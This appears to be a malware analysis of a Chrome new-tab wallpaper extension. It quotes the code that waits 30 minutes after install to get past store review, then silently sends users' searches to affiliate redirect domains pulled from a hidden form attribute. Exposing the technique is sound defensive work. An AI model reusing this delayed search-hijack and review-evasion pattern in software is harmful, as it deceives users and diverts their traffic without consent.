Iron Man Wallpapers Custom Tab

After 1800 seconds (30 minutes) from installation, the search form's action URL is silently replaced with a randomly chosen third-party domain from the list 'addilos,addiyos,gundil'. All subsequent user searches are then submitted to one of these affiliate/tracking search redirectors instead of Google. The 30-minute delay is a deliberate anti-detection measure: during Chrome Web Store review (which happens shortly after submission) the extension behaves normally, but real users get their searches hijacked.

$(window)  .on('load', function() {      chrome.storage.local.get(['inti'], function(resultinti) {        if (Math.floor(Date.now() / 1000) - resultinti.inti > 1800) {          var sp = $("#sf")            .data("sp")            .split(",");          var spr = sp[Math.floor(Math.random() * sp.length)];          $('#sf')            .attr('action', 'https://www.' + spr + '.com/index.html');        }      });

The search form embeds a hidden configuration payload in its data-sp attribute: 'addilos,addiyos,gundil'. These are known affiliate search redirect domains. The form initially targets Google to appear legitimate, but the JavaScript uses this data attribute as its list of hijack targets once the time-delay evasion window passes.

< form id="sf" target="_top" action="https://www.google.com/search" method="get" class="search-form" data -  sp="addilos,addiyos,gundil">

On first install, the service worker records the exact Unix timestamp into local storage under the key 'inti'. This value is later read by the new tab page JS to determine when 30 minutes have elapsed, at which point the search engine hijacking activates. Recording install time serves no legitimate user-facing feature; its sole purpose is to implement the time-delayed evasion logic.

chrome.runtime.onInstalled.addListener(function(details) {      if (details.reason == "install") {        ...        chrome.storage.local.set({          inti: Math.floor(Date.now() / 1000)        }, function() {});